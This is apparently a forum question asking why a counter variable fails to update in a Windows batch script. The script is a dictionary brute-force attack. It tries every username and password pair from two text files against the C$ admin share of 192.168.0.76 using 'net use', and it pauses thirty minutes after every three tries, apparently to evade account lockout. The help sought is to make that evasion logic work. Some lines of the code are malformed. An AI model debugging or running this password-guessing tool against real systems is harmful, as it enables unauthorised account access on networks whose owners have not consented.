I want to update a value of a variable in a program in batch
, my problem is that when I do it inside the main function , the value is not updated, if I pass that value to < em> another function the value is updated but when I return it to the main one it remains with the declared value, in my case in 1 .
@echo off
SetLocal EnableDelayedExpansion
set /a contador=1
FOR /F %%h in (usuario.txt) do (
FOR /F %%i in (diccionario.txt) do (
echo Probando con usuario:%%h contrasenia:%%i
net use \192.168.0.76\C$ %%i /user:%%h
set /a contador
Rem "!" debido a la expansión de variable.
if !ERRORLEVEL! equ 0 (
echo [+] Password correcto! %%i
net use
goto :salir
) else (
echo [+] fallo
)
echo valor de contador antes del if: %contador%
if %contador% equ 3 (
**set contador=1--> no se resetea el valor **
Timeout /T 1800
) else (
**set contador+=1---> no actualiza**
)
echo valor de contador es: %contador%
)
)
:salir EndLocal